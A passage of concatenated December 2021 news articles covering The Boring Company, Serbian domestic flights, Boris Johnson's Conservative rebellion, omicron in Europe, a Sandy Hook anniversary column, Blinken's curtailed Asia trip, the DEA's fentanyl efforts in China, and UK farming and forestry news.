on its website, including loop technicians, a part-time driver, a software engineer and a security guard. Origins Musk founded The Boring Company five years ago. It was his answer to Los Angeles nerve-wracking gridlock. In 2013, Musk garnered a ton of attention for his 58-page white paper titled Hyperloop Alpha. In it, he made the case for shooting passengers through tubes at super-fast speeds. Theyd be wedged into autonomous electric pods capable, for example, of reaching San Francisco from Los Angeles in 35 minutes, a 381-mile trip. The drive time is nearly six hours. The Boring Company is a distant, humbler cousin of Musks Hyperloop concept. The components of the Las Vegas loop are utterly conventional Teslas whizzing through narrow tunnels though future plans would have the vehicles placed on high-speed electric skates to cut more of the travel time. Like Tesla and SpaceX, Musks tunnel firm has its fanboys and fangirls, and its share of critics. In that Slate article I mentioned earlier, posted July 7, staff writer Henry Grabar savaged the companys big idea, starting with its demonstration loop in California. My opinion about these tunnel projects has not changed since Musk invited reporters into his test tube in Hawthorne, California, two and a half years ago: They combine the constraints of transit with the inefficiencies of the automobile, Grabar wrote. Referring to the Vegas loop, he added: I still dont see the point of a circuit that combines low ridership, low speed, and high cost. If San Antonio officials and The Boring Company move past the discussion stage, theyll deserve a fair hearing. As part of the public vetting, theyd have to address concerns like Grabars and explain why San Antonio needs tunnels with Teslas snaking through them. greg.jefferson@express-news.net Domestic flights in Serbia, which are to be introduced next month for the first time since the disintegration of the state union of Serbia and Montenegro in 2006, will primarily cater for international transfers rather than point to point traffic, officials have said. The service between Nis and Belgrade is one of ten routes deemed to be of public interest that will be subsidised by the central government. A tender to select the operating carrier, widely anticipated to be Air Serbia, is set to close this Friday, with the results expected to be published shortly after and ticket sales to begin within ten days of the announcement. Domestic flights in Serbia, which are to be introduced next month for the first time since the disintegration of the state union of Serbia and Montenegro in 2006, will primarily cater for international transfers rather than point to point traffic, officials have said. The service between Nis and Belgrade is one of ten routes deemed to be of public interest that will be subsidised by the central government. A tender to select the operating carrier, widely anticipated to be Air Serbia, is set to close this Friday, with the results expected to be published shortly after and ticket sales to begin within ten days of the announcement. Commenting on the new flights, the General Manager of operator Airports of Serbia, Mihajlo Zdravkovic, told Euronews Serbia, This service is primarily scheduled to connect onto other European and global destinations through Belgrade. The aim here is for passengers to transfer onto the morning peak of flights from Belgrade without having to pick up their luggage or check in again. This is similar to the flights offered between Nis and Podgorica awhile back, which provided connections via the Montenegrin capital. Mr Zdravkovic added, Passenger will be able to fly point to point between Nis and Belgrade as well, but we dont expect there to be significant demand, considering the time it will take for pre- and post-flight procedures. Services between Nis and Belgrade will run four times per week. Two of the flights are to be operated by jet-engine aircraft with the capacity to seat up to 140 passengers, while the remaining two weekly rotations are to be maintained with smaller planes with the ability to welcome up to 65 travellers on board. The domestic service will be subsidised to the tune of three million euros over a two-year period, until December 31, 2023. In addition to Belgrade, Nis will also be getting subsidised year-round flights to Hahn, Cologne, Ljubljana, and Istanbul, as well as seasonal services to Athens and Tivat. LONDON (AP) Behind a heavy oak door in Parliament, Prime Minister Boris Johnson implored Conservative lawmakers to back him by voting for new restrictions to help slow the fast-spreading omicron variant. The lawmakers cheered Johnson yet almost 100 defied him, voting in the House of Commons against requiring vaccine passports for nightclubs and other crowded venues. The rebellion didnt defeat the measure, which was approved with opposition support and took effect Wednesday. But it could have big implications for Johnson's political future and for Britains pandemic response. It was a very clear message that colleagues are not happy with how the government is operating at the moment, Mark Harper, one of the rebels, told Times Radio. The team captain should be able to depend on the loyalty of the team, but its a two-way street. Tuesdays rebellion by 98 Conservative lawmakers on vaccine certificates was by far the biggest of Johnsons premiership, and an echo of the serial revolts that ousted his predecessor, Theresa May. More than 60 Tory legislators also voted against mandating vaccinations for all health care workers. Johnsons government argues that the restrictions are needed to confront the grave threat from the highly transmissible omicron variant, which is spreading so quickly it could overwhelm Britain's hospitals even if it is less severe than previous strains. The sheer scale of the omicron surge is ominous. Britain recorded 78,610 new virus cases on Wednesday, the highest daily total of the pandemic, and health officials say infections are doubling about every two days. Still, some on the Conservative partys right wing don't believe the dire warnings, and don't like the nanny state measures the pandemic has brought. In Tuesday's vote, they were joined by others wanting to send a warning to a prime minister whose approval ratings have plummeted amid policy U-turns and ethics scandals. Any further coronavirus restrictions look certain to face strong resistance from Conservatives, leaving Johnson reliant on the opposition to get them approved. The prime minister is so weak that without Labour votes last night, vital public health measures wouldnt have got through, Labour Party leader Keir Starmer said Wednesday during Prime Ministers Questions in the House of Commons. His MPs are wrong to vote against basic health measures, but they are not wrong to distrust him," Starmer added. The Conservatives chose Johnson as their leader in 2019 because the blustering, Latin-spouting former London mayor was anything but a typical politician. Hed been fired from a party job for lying, used racist and offensive language in columns and quips but he was upbeat, entertaining and a hit with voters. Johnson promised to get Brexit done after three years of gridlock over Britains departure from the European Union. He won a big victory in the December 2019 election by winning over voters in Englands red wall, a belt of former industrial towns that had long been Labour strongholds. The pandemic knocked Johnson off course. His initial reluctance to impose a nationwide lockdown in early 2020 helped give the U.K. the highest coronavirus death toll in Europe apart from Russia, with more than 146,000 deaths. A successful vaccination program helped Johnson recover some of his authority, but a slew of damaging allegations has tarnished him. First there was an expensive refurbishment of the prime minister's official Downing Street apartment, funded by a Conservative donor. Johnson was cleared of wrongdoing over the cash for curtains affair, but the party was fined by Britains political regulator. Then the government faced charges of cronyism when it tried to block the suspension of Owen Paterson, a Conservative lawmaker found to have broken lobbying rules. Most damaging are allegations that staff in Johnsons office flouted coronavirus rules with lockdown-breaching Christmas parties last year, when others were banned from gathering. Johnson has ordered an inquiry, but insists he personally broke no rules. It all adds up to a dangerous moment for Johnson. Starmer is working to restore Labours fortunes after the party suffered four consecutive election defeats, and it has recently opened up a lead in opinion polls. Danny Finkelstein, a Conservative member of the House of Lords, said Conservative lawmakers' "large-scale open rebellion against government policy on the most important question of the day amounted to a vote of no-confidence in the government. How long can such a position endure? he asked in the Times of London. A special election on Thursday for the North Shropshire parliamentary seat, formerly held by lobbying-scandal lawmaker Paterson, could add to Conservative jitters. Polls suggest the opposition Liberal Democrats have a chance of winning what has long been a staunchly Conservative district. Britain is not scheduled to hold a national election until 2024, so Johnson may have time to recover. His popularity could rise if the omicron wave washing over the U.K. is not as bad as many fear, and Johnson meets his goal of offering all adults a booster vaccine by New Years Eve. The Conservatives have a long history of dumping leaders they consider liabilities. Several ministers notably Treasury chief Rishi Sunak and Foreign Secretary Liz Truss are already being discussed as possible replacements. Jill Rutter, a senior fellow at the Institute for Government think-tank, said Johnson looks much weakened, but its not clear to me if he is fatally weakened. He still has some quite biggish advantages, particularly if youre a red wall Conservative looking at who can get people to turn out for the Conservatives again, she said. Is Liz Truss, is Rishi Sunak, really going to bring them flocking to the ballot boxes in the way that Johnsons star quality does? Thats not so clear. BRUSSELS (AP) Omicron is expected to be the dominant coronavirus variant in the European Union's 27 nations by mid-January, the bloc's top official said Wednesday amid concerns that a dramatic rise in infections will leave Europe shrouded in gloom during the holiday season. European Commission President Ursula von der Leyen said the EU is well prepared to fight omicron with 66.6% of its population fully vaccinated. She expressed disappointment that the pandemic will again disrupt year-end celebrations but said she was confident the EU has the strength and means to overcome COVID-19. Like many of you, I'm sad that once again this Christmas will be overshadowed by the pandemic," she said. The EU-wide vaccination rate obscures that some EU nations, like Portugal and Spain, have immunized the vast majority of their people while other countries lag way behind. Bulgaria, for example, has just 26.6% of its population fully vaccinated, according to the European Centre for Disease Prevention and Control. Continental Europe can look at Britain for a sense of what lies ahead as omicron spreads; U.K. officials say it will be the country's dominant variant within days. The head of the U.K. Health Security Agency, Dr. Jenny Harries, said omicron is displaying a staggering growth rate compared to previous variants. The difficulty is that the growth of this virus, it has a doubling time which is shortening, i.e. its doubling faster, growing faster, Harries told a parliamentary committee on Wednesday. In most regions in the U.K., it is now under two days. When it started, we were estimating about four or five. Harries said the variant poses probably the most significant threat weve had since the start of the pandemic. Britain on Wednesday recorded 78,610 new infections, its highest confirmed daily total of the pandemic. But deaths remained far lower than during the country's previous peaks, before vaccines against the coronavirus were widely deployed. Scientists have said they don't know yet if omicron is as lethal as other virus variants. Alarming rises in infections as winter approached and the delta variant remained at large prompted many European governments to implement public health measures as excess mortality increased during the fall. The head of the World Health Organization says 77 countries have reported cases of omicron but the variant is probably in most countries by now, just not yet detected. WHO says data is still coming in and much remains unknown about the new variant. According to an analysis Tuesday of data from South Africa, where omicron is driving a surge in infections, the variant seems to be more easily spread from person to person and better at evading vaccines while causing less serious illness. Omicron is spreading at a rate we have not seen with any previous variant. We are concerned that people are dismissing omicron as mild, WHO Director-General Tedros Adhanom Ghebreyesus said. Surely we have learned by now that we underestimate this virus at our peril. Tedros emphasized that vaccines were just one tool if a major one to fight the pandemic, along with measures like mask-wearing, better indoor ventilation, social distancing and hand washing. With omicron now on the scene, more countries are adopting restrictions. Italy this week required negative tests from vaccinated visitors, raising concerns that similar moves elsewhere will limit the ability of EU citizens to travel to see friends and relatives over the holidays. Portugal adopted a similar measure on Dec. 1, requiring a mandatory negative test for all passengers on arriving flights, regardless of their vaccination status, point of origin or nationality. Greece announced Wednesday that all arriving travelers must display a negative test starting Sunday unless they have spent less than 48 hours abroad. Von der Leyen said the EU faces a double challenge, with a massive increase of cases in recent weeks due to the delta variant combined with the rise of omicron. We're seeing an increasing number of people falling ill, a greater burden on hospitals and unfortunately, an increase in the number of deaths," she told European Parliament lawmakers. Von der Leyen insisted that the increase in infections in Europe right now remains due almost exclusively" to the delta variant. She said that fighting vaccine skepticism is key, especially in EU nations with lower vaccination rates. Because the price that we will pay if people are not vaccinated continues to increase," she said. "Its also a problem for our elderly citizens, who once again this Christmas cant see their grandchildren. And its also a problem for those children who once again cant go to school. What kind of a life is that?" Echoing von der Leyen's comments, German Chancellor Olaf Scholz vowed Wednesday that his new government would do everything for Germany to overcome the coronavirus pandemic and let people return to normal lives. "We have no time to waste, said Scholz, who took office as Germany grapples with its biggest wave of infections during the pandemic to date. Scholz also said his German government wont tolerate a tiny minority of extremists trying to impose their will against coronavirus policies. As governments braced for the holiday season, Greece, Italy, Spain and Hungary began vaccinating children aged 5-11 against COVID-19. EU leaders have a summit scheduled for Thursday in Brussels. ___ Jamey Keaten in Geneva, Danica Kirka in London, Raf Casert in Brussels and Geir Moulson in Berlin contributed to this story. ___ Follow APs pandemic coverage at https://apnews.com/hub/coronavirus-pandemic I was subbing for a science teacher at Fairfield Warde on Friday morning, Dec. 14, 2012, when we suddenly heard the news via a students phone that there had been a shooting at Sandy Hook Elementary School in Newtown. Of course, like any tragedy, the news details were coming in pieces and all we knew was that there had been some fatalities. My older daughter Stacey, a special ed teacher/substitute, was also at school that day, but with busy schedules and classes moving, we hadnt even seen each other. Fortunately, I had a break right after first science class, so I went immediately to the office. At the time, Virginia, the secretary in Townsend House and a good friend, had very little information also. About 8:30 a.m., I called my brother on my cell to see how my 90-year-old mom was doing. She had been in hospice with lung cancer for just about two weeks and the nurses had said that the end was coming. But she had been able to listen the night before and I could tell her all the good things that were happening. When my brother picked up, he quietly told me that mom was gone and the funeral would be in Chicago the following Tuesday. Sadly, Dad hadnt made it to the hospice in time to say goodbye. I temporarily forgot about the shooting in Newtown as I wiped away tears and asked Virginia where I might find Stacey that morning to tell her. She was just checking schedules when the details of the Sandy Hook tragedy took center stage. The victims, we learned, werent only adults. There had been children, little ones barely 6 or 7, and the principal and teachers. Suddenly my grief was multiplied by the horrors of this nightmare and I had a rough time focusing on my subbing responsibilities as the day dragged on. When I finally located Stacey just after lunch, we hugged about my mom but tried to make some sense out of the Sandy Hook shooting also. But there was no sense. Our drive to Chicago for Moms funeral was filled with news updates, witness commentary and then President Obamas gut wrenching address at a local house of worship that Sunday. And I lost count of how many people asked me at the funeral how close Newtown was to Fairfield. While schools acted almost immediately to tighten security with bells, buzzers and stronger entry systems, the effort to create a safe environment for children of all ages is still a work in progress. I learned administrative staff at the new Sandy Hook Elementary School, who continue to receive threats from anonymous callers, decided to keep students home on the ninth anniversary. And across the state, more schools, especially high schools, are being targeted by callers. An editorial by the Hearst Connecticut Media Editorial Board pointed out that the nine years since the tragedy showed what happened in Newtown was in many ways all too common as shootings continue with little time between mass casualty events involving firearms. This includes schools, most recently in Michigan. Threats of similar attacks have been reported at multiple area schools in the past week, though all, thankfully, appeared to be unsubstantiated. Still, the idea of a gunman at large in a school, which is supposed to be a place of learning, and community, and safety, is no longer unthinkable. For young people, this is all simply a part of how theyve grown up, the editorial said. Of course, the ongoing controversy, despite continued shootings over the past nine years and beyond, is the divisive issue of gun control. As the editorial explained, There have been changes, certainly. Connecticut led the way in tightening up gun laws, with New York and other states following suit. But despite some high-profile efforts, the federal government has been unable to do anything. Sen. Chris Murphy, who has become a champion of gun safety in the past nine years, recently acknowledged that the Michigan shooting will not change the calculus in the Senate, meaning universal background checks will remain out of reach. The area of mental health, especially in light of the COVID-19 pandemic and its forced isolation, has become more critical than ever in the effort to avert tragedies like those in Sandy Hook, Michigan and Florida among so many others. Mental health professionals are more diligent than ever about trying to listen closely to all students for concerns and insights about peers who could be potential dangers to themselves and others. Granted, these professionals cant flag everyone, but I salute how thorough they are about addressing the continuing problems. Ill never forget what happened on Dec. 14, 2012, because it was a wake-up call that as educators we are not immune. What happened in Newtown could have happened in Fairfield or anywhere. My daughter Stacey and I just looked at each other that day and said, My gosh, that could have been us. As the editorial concluded, We need a future where what happened nine years ago remains shocking. We cannot live in a world where attacks on the most vulnerable among us are simply part of life. I couldnt agree more. Steven Gaynes is a Fairfield writer, and his In the Suburbs appears each Friday. He can be reached at stevengaynes44@gmail.com. BANGKOK (AP) A positive COVID-19 test among U.S. Secretary of State Antony Blinkens traveling party has cut short the top diplomats first official tour of Southeast Asia. A member of the press corps accompanying Blinken on what was to have been a three-nation visit to Indonesia, Malaysia and Thailand tested positive for the coronavirus on Wednesday in Kuala Lumpur, forcing Blinken to abandon the program at his next and last stop in Bangkok, and return to the United States. Instead of spending Wednesday night in Bangkok, Blinken flew to the Thai capital for a brief logistical layover before traveling to Guam to refuel and then continuing on to Hawaii. At the airport in Bangkok, at least two Thai ground crew members were seen wearing full protective gear as they serviced Blinken's plane. The abrupt change in plans was caused in part by fears that others in the delegation might also test positive, requiring them to quarantine in Thailand over the Christmas holiday. The journalist who tested positive will stay in Kuala Lumpur for a mandatory 10-day isolation. U.S. State Department spokesman Ned Price said Blinken spoke with Thai Foreign Minister Don Pramudwinai to explain the change of plans. The secretary expressed his deep regret to the FM that he would not be able to visit Bangkok this week. He explained that in order to mitigate the risk of the spread of COVID-19 and to prioritize the health and safety of the U.S. traveling party and those they would otherwise come into contact with the secretary would be returning to Washington, D.C. out of an abundance of caution, Price said. Neither Blinken, any of his senior staff nor other members of the press corps have tested positive so far, according to Price. In a statement posted online, the U.S Embassy in Kuala Lumpur said it informed the Malaysian government of the virus case and thanked the Malaysian authorities for their support. The sole member of the traveling party who tested positive is observing all requirements of the Ministry of Health, the embassy said. We can confirm that the person was not involved and has not participated in any of Secretary Blinkens program in Kuala Lumpur. Blinken arrived in Kuala Lumpur late Tuesday from Jakarta, Indonesia. He began his current journey in the English city of Liverpool, where he participated in a Group of Seven foreign ministers meeting over the weekend. The State Department has been testing those on Blinken's plane for the virus on a daily basis and Price said the journalist had tested negative in both Liverpool and Jakarta. Above, a 2019 Chinese TV report on cooperation with the U.S. against fentanyl smuggling. Success was fleeting, but now the troubled DEA's small contingent of agents on the mainland is almost doubling. By Vince Bielski, RealClearInvestigations December 14, 2021 U.S. drug agents are expanding operations in China six years after Americas largest trading partner and global rival emerged as the main source of chemicals used to make highly lethal fentanyl. Its now claiming 65,000 American lives a year. The small crew of about a dozen Drug Enforcement Administration agents, including those in new outposts in Shanghai and Guangzhou, is nearly double the number in 2018. They face what seems like mission impossible: collaborating with Chinese agents to try to bust traffickers hidden somewhere in a sprawling export supply chain thats linked to 160,000 companies. Its such a massive chemical industry, and then there are layer upon layer of traders, brokers and freight forwarders, says Russ Holske, the DEAs director for the Far East, who set up the new offices in China before he retired. Its a daunting challenge. The DEAs predicament in China is part of a larger one at the beleaguered agency, whose mission is to break up major drug trafficking rings worldwide. Fentanyl, a synthetic opioid thats mostly made in Mexico with Chinese chemicals, is the deadliest illicit drug ever sold. Its behind the record number of overdose deaths that keeps growing each year. But the DEA is facing this menace after suffering a series of blows that has left it a smaller and less aggressive and effective outfit, according to several former special agents, high-ranking officials and agency documents. Some of the damage has been self-inflicted. An embarrassing sex scandal involving agents in Colombia and a botched operation that took four civilian lives in Honduras have made Congress wary of the agency. It was left to drift without a Senate-confirmed leader for half a decade, and retreated from some foreign operations, as fentanyl was beginning to leave its lethal mark on the streets. The DEA also has been swept up in the countrys turn against law enforcement as a force for good, leading to morale problems that afflict police departments as well as the Border Patrol. Hundreds of DEA agents left and werent replaced, sapping it of its crime-fighting prowess. Some academics, along with the Drug Policy Alliance, which advocates for decriminalization, are even calling for the group to be eliminated. Yes, the DEA should be disbanded, says sociologist Alex Vitale, author of The End of Policing. They have two strategies, interdiction and criminalization, and neither is working. The agency declined to comment for this story. Restoring DEAs Urgency Critics such as Vitale blame the agency for the easy availability of narcotics like heroin in every part of the country. But thats not entirely the DEAs fault. With a force of 4,700 agents a third the number of FBI agents the DEA is up against sophisticated transnational criminal organizations. Mexicos Sinaloa Cartel alone rakes in several billions of dollars in revenue a year, according to estimates. Thats about the size of the entire DEA $3 billion budget. With DEA offices in 69 countries, its ability to crack down on cartels depends on the cooperation of foreign leaders. The agency has apparently found a willing partner in China, which banned a half-dozen fentanyl substances that traffickers were shipping to the states. As clandestine chemists circumvented the restrictions by tweaking the molecules of the substances to create new ones, China got tougher, outlawing the entire class of fentanyl drugs in 2019. This win for the DEA reflected a collaboration with China not enjoyed by other U.S. agencies. China, to its credit, helped us quite a bit, says Holske, the former DEA director. The controls tightened the pipeline of fentanyl that was coming directly to the U.S. and killing Americans. But Chinese traffickers quickly found another workaround by selling the chemicals to make fentanyl to cartels in Mexico, which put up roadblocks to DEA agents. In the past year alone, Mexican President Andres Manuel Lopez Obrador has delayed visas for agents and restricted intelligence sharing in protest of the DEA arrest of a former defense minister on drug-related charges. U.S. officials recently pressured Mexico to restore some cooperation with DEA agents in pursuit of the Sinaloa and Jalisco New Generation cartels the biggest producers of fentanyl powder and counterfeit pharmaceutical pills laced with it. The cartels smuggle the contraband into the states at official ports of entry and along open patches of the border left unguarded as Border Patrol agents are diverted to deal with another crisis the surge of migrants. Still, the DEAs interdiction efforts may have saved thousands of lives. In August, a two-month domestic enforcement surge nabbed 850 dealers and added to the total of more than 15 million fake pills seized in the past year. Some 40% of those pills contained a potentially lethal dose of fentanyl, which is 50 times more potent than heroin. The agency could be more effective, some former agents say, if it revived its aggressive pursuit of international cartels and replenished its ranks. President Biden did appoint a permanent DEA chief, Anne Milgram, who has a record as a law enforcement reformer who gets results. But the administrations fentanyl strategy focuses heavily on increasing drug prevention and treatment a long-term approach that can curb overdose deaths only if the drug supply on the streets is also reduced by law enforcement agents, according to treatment experts. I cut my teeth as an agent on the street. We were risk-takers and aggressive in everything we did to put bad guys in jail, said Jack Riley, who was the DEAs second-in-command before retiring in 2017. But we have lost that sense of urgency. We need to get that back to be more effective. Taking Down Medellin Riley, who helped put Sinaloas most notorious leader Joaquin El Chapo Guzman in prison, says the agency has proved its mettle over the years. Consider the dismantling of Colombias Medellin and Cali cartels in the 1990s. Medellins leader, Pablo Escobar, led a murderous campaign against government officials and became a threat to the countrys democracy. Although new cartels grew out of the ashes of Medellin and Cali showing that law enforcement alone wont end drug trafficking the killing of Escobar was itself a win, says David Gaddis, a former DEA agent in Colombia and high-ranking official. Escobar tried to take over the Colombian government and he was almost successful, Gaddis says. The new cartels do not have the same influence over the government as Medellin did. Thats a success for DEA. The DEA bagged several other drug kingpins before the agency lost some of its luster. Agency veterans date the DEAs decline to 2015 after revelations that 10 agents had participated in sex parties in Colombia with prostitutes paid for by the cartels. The uproar in Congress led to the departure of DEA Administrator Michele Leonhart, a former agent who embodied the agencys boldness. Leonharts 2015 exit was followed by a parade of five acting administrators over five years. Putting a Rein on Agents First up was Chuck Rosenberg, a prosecutor who aimed to rein in what some saw as a cowboy mentality. Edicts from headquarters instructed agents to be more careful in carrying out operations. Leaders feared a questionable shooting could derail the DEA in the wake of the 2014 police killing in Ferguson, Mo., says Jeffrey Higgins, a former special agent for two decades. The biggest pullback was overseas. DEA had built a large special forces operation of about 125 personnel to battle narco-terrorists in Afghanistan. The operation paid off with the conviction of Haji Bagcho, the worlds biggest heroin trafficker. But after the killing of Americans in Benghazi in 2012, the Obama administration reduced the DEAs presence in Kabul to only a handful of agents, says Riley. Rosenberg then disbanded the DEAs FAST units, a paramilitary force that assisted local officers in high-risk operations. A 2017 inspector general report found that FAST agents were involved in an operation in Honduras in which four likely bystanders were killed. The end of FAST marked a shift in DEA strategy to focus more on domestic smugglers and street gangs. Some agents opposed it. It makes no sense, says Higgins, who worked in about 50 countries. Its far more effective to put resources into dismantling a major global exportation organization than to go downstream and take out one of 30 U.S. distribution groups that get the drugs from that criminal organization. Citing differences over policing with new president Donald Trump, Rosenberg resigned after two years and became an MSNBC commentator. His replacement at DEA found that the acting administrator title was worthless and walked after eight months. Next up was Uttam Dhillon, a former federal prosecutor in Los Angeles then on Trumps White House staff. He didnt understand the DEAs organizational issues and lost the support of agents, Riley says. He was replaced in 2020 by another short-lived acting head. The churn at the top produced disillusionment in the ranks. Many agents retired early or just quit the agency, leaving the DEA down 700 agents compared to a decade ago. Foreign offices shrunk by a quarter. Predictably, the number of crime organizations that agents disrupted or dismantled worldwide plummeted by one-third from 2,735 to 1,869 between 2016 and 2020, according to DEAs recent report to Congress. The timing couldnt have been worse. The DEA was losing muscle just as Chinese traffickers were increasing shipments of illicit fentanyl to the U.S. The agency had finally gotten a handle on the oversupply of prescription opioids like OxyContin that were killing an alarming number of Americans. But now fentanyl, a more deadly synthetic opioid, was filling the void. A Conundrum in China The DEA led a full-court press to get China to ban fentanyl, an array of spinoffs and the chemicals to make them. Starting in 2014, acting DEA chiefs, Justice Department officials and chemical experts began holding regular meetings with their Chinese counterparts in Washington and Beijing to press for the restrictions. China has long taken a hard line against drug traffickers, which created some common ground for the rival superpowers to cooperate despite tensions about trade and human rights. The secretive courts in China have handed out death sentences to those convicted of major drug offenses. Recent cases involving Canadian and Australian nationals have sparked protests from Amnesty International and pleas for leniency from foreign officials. But Chinas harsh punishments werent an issue in the successful bilateral talks over the criminalization of fentanyl, perhaps because no Americans were facing the death penalty. The fentanyl bans dont mean much, however, if theyre not enforced. While Chinese authorities have curtailed shipments directly to the U.S., the DEA says, traffickers are supplying Mexican cartels with enough of the precursor chemicals some of them also outlawed to flood the states with deadly pills and powder. U.S. border agents seized 10,600 pounds of fentanyl in fiscal 2021, more than twice the prior year. Thats a small fraction of the amount that reaches cities like New York, Chicago and San Francisco. The biggest case in China to date was kicked off by U.S. agents who shared intelligence about the Diana criminal group with the Chinese Narcotics Control Bureau. The joint investigation led to the conviction of nine Chinese citizens for fentanyl smuggling in 2019. One defendant received a suspended death sentence and a few were sent to prison for life. Officials from both countries hailed the investigation, which continues today, as a sign of their expanding cooperation. But while China has made several more fentanyl-related arrests, it doesnt appear to have convicted any major traffickers in the two years since the Diana case. Some former DEA agents question how far China is willing to go in enforcing its bans since the U.S. would be the main beneficiary. While DEA agents in countries such as Indonesia join police in raids and debriefing defendants, in China they are unarmed and play a more limited role. Agents exchange intelligence and discuss cases with local officers but only occasionally work in the field. At times agents also run into resistance from Chinese authorities, according to an August report by a congressional group that examines U.S.-China economic and security issues. Chinese regulatory authorities continue to delay requests for access to inspect and investigate potential sites of illegal chemical production where precursors are made, the report said. Requests are often delayed for days, allowing any illegal operation to vacate or clean up the premises. The Chinese Embassy in Washington issued a strongly worded rebuttal in September, showing the tenuous nature of Chinas cooperation with the DEA. The embassy called the assessment that Chinese precursors are flowing to Mexico and that authorities obstruct the work of U.S. agents utterly false. It is disappointing that for all the goodwill and sincerity of the Chinese side, the embassy said, some American politicians and media are still hyping up such disinformation. New Leaders Take Charge Milgram, the new DEA chief, has an advantage that eluded her predecessors in the global war on fentanyl. She won Senate confirmation in June, giving her the authority to reshape the troubled agency at a pivotal time. Milgram has a record of bringing innovative, data-driven approaches to law enforcement agencies that still tend to operate on gut instinct and perform poorly. After New Jersey took control of the Camden police because of the citys alarmingly high crime rate, Milgram, who was the states attorney general, used data analysis to shake up the department. In 2009 murders fell by 38% from the prior year by making cops walk the streets and confiscate guns. At DEA, she is preparing to make changes too. In August the administrator began a top-to-bottom review of foreign operations supervised by a team of outsiders, saying shes looking for areas of improvement as well as controls to ensure integrity and accountability. She also tapped the politically savvy Jon DeLena, an associate special agent in charge, to examine how the agency can repair relations with Congress, which is crucial to funding and hiring agents, says Riley, the former deputy. In another move in August, Milgram brought back Lou Milione as her deputy. Riley says the veteran of special operations was known for his kick ass leadership against cartel bosses. Miliones return may signal a revival of a more aggressive approach to the kind of global crime groups that run the fentanyl trade. Hes a smart guy and he really understands the good results you get from targeting the international cartels, says Higgins, the former FAST agent who helped take down Haji Bagcho. In October, Milgram for the first time faced the killing of one of her agents. The shooting death of group supervisor Mike Garbo in Arizona rocked the DEA a reminder of the added dangers when there are fewer agents in the field. The administrator spoke at the memorial service. Her detailed account of Garbos talents made a strong impression on agents, whose support she needs in her efforts to revive the DEA, Riley says. Milgram will make changes, he says. But she has a huge challenge with fentanyl. China and Mexico have to do much more to stop it. The DEA can only do so much on its own. Farming charities and organisations will benefit from over 1m of funds donated over the course of this year to NFU Mutual Charitable Trust. The Trust has announced a final round of donations totalling 196,000, taking its total donations to 1,050,000 in 2021. Twenty one groups, including the Addington Fund, Linking Environment & Farming (LEAF) and the National Federation of Young Farmers' Clubs, will receive funds. The donations were made possible by an additional 750,000 pledge from rural insurer NFU Mutual, aiming to help charities maintain resilience during the pandemic. During the year, the Trusts funding has helped to support projects that tackle isolation, support mental health and wellbeing, and enrich young lives through agricultural education and innovation. Nick Turner, group chief executive of NFU Mutual, said: We feel extremely proud to have championed causes across all corners of the UK through the NFU Mutual Charitable Trust. Supporting our communities has always been at the heart of our approach at NFU Mutual, and at times like this we believe we have an important role to play. "As the challenges of the pandemic continue to take hold, we have been determined to support charities and organisations working incredibly hard to deliver essential services alongside practical and emotional help. One of the charities to have received the Trusts support earlier this year was Samaritans, where the donation has been directed to help fund their 24-hour helpline. The emotional support offered around the clock has been vital during the pandemic, particularly for farmers and rural communities. Other charities set to benefit from the Trusts funds are Farming & Forestry Aid, Open Farm Weekend and the Oxford Farming Conference. As shoppers prepare to start the Christmas food shop, sheep producers are encouraging the public to break away from traditional offerings and buy British lamb for the big day this year. The National Sheep Association (NSA) has highlighted the meat's sustainable credentials as a positive reason to enjoy it this Christmas. The industry group said that buying lamb or mutton also backs local farmers, and is packed with nutrients produced to traditional methods. Free-range and extensively produced sheepmeat is, therefore, a great choice, it said, particularly at times of celebration such as Christmas. "The UK sheep industry operates extensively on open pasture, much of which is unsuitable for other land use," said Phil Stocker, NSA chief executive. "Grass-fed lamb has a far lower environmental impact compared to processed foods and crucially grassland also acts as a vital carbon sink. Sheep reared in mixed farming systems help naturally rejuvenate soil for arable crops, and farmers of all different types work hard to find a balance between biodiversity and productivity on farm, providing thriving habitats to support and protect nature. Sustainably produced British sheepmeat also offers nutritional benefits as well as being a versatile meat, well suited to festively spiced dishes. Lamb is a rich source of protein and provides seven essential vitamins and minerals that support nutritional wellbeing. Mr Stocker added: Consumers choosing to enjoy lamb this Christmas, we believe, will not be disappointed. "Hopefully it will encourage the continued consumption of this wonderful, healthy meat into the New Year." Farming businesses are being advised to revisit on-farm Covid-19 protocols and measures in response to the rising threat of the new variant Omicron. The World Health Organization (WHO) warned this week that Omicron was spreading across the world at an unprecedented rate. In the UK, the government said that in the coming days and weeks, it expected to see a continued and potentially rapid rise in Covid cases. The UK Health Security Agency said on Monday that the number of daily infections was estimated to be 200,000, based on its modelling. Meanwhile, the NHS's Covid alert level was recently increased to its highest possible level. Now NFU Scotland has advised farming businesses to revisit the coronavirus protocols that they have in place to ensure the safety of workers. The union's chief executive, Scott Walker said: Think about what would happen if you or one of your key workers were unable to work due to Covid or had to self-isolate. "Simple measures such as wearing masks can significantly reduce the chance of infection." In response to the situation, the union said all its current round of branch AGMs will go virtual, as well as its nine regional AGMs scheduled for January. NFU Scotland's national AGM and conference, due to take place in Glasgow on 10 and 11 February 2022, could also be postponed if the situation worsens. Mr Walker added: We have taken the regrettable decision to move branch and regional AGMs online which is the right thing to do. "We know how much our members have enjoyed the opportunity in recent times to start meeting face-to-face but the disease situation has changed, and we have to respond. Farmers can access the Health and Safety Executive's (HSE) latest guidance on working safely during the pandemic, and advice on keeping workplaces safe from Covid. It comes after Agritechnica's organisers confirmed this week that their 2022 event will not go ahead due to the 'deteriorating' pandemic. The German agri-machinery trade show was due to take place in Hanover on 27 February 2022, and organisers were expecting more than 2,000 exhibitors. But the show has been postponed by nearly two years, and is now rescheduled to take place from 12 to 18 November 2023. Meanwhile, New Holland announced yesterday that it will not attend LAMMA 2022 due to concerns over Omicron. Authorities are working to assess Storm Arwen's impact on Scotland's forests amid fears the powerful winter storm destroyed 4,000 hectares of woodland. Scottish Forestry is working with Confor and Forestry and Land Scotland (FLS) to assess the impact that Storm Arwen has had on the countrys forests and woodlands. Meetings have already taken place between the organisations to start planning the recovery of at least 4,000 hectares of woodland affected by the storm, roughly equivalent to 8 million trees. The forestry groups said a new mapping tool recently developed will be invaluable in the recovery process. For the first time, farmers and woodland managers will be able to use the satellite data to get an initial understanding of where the damage has occurred, without the immediate need for extensive and potentially risky site visits. According to the groups, the most intensive damage to Scotlands woodlands runs down the east coast, across the Borders and East Lothian, stretching into Galloway. Another swathe of damage runs through Banffshire, Aberdeenshire, Kincardineshire, Angus and into Perthshire. Scotland's environment minister Mairi McAllan said: Storm Arwen provided a salutary lesson of the power of nature and the challenge of climate change. The impact is 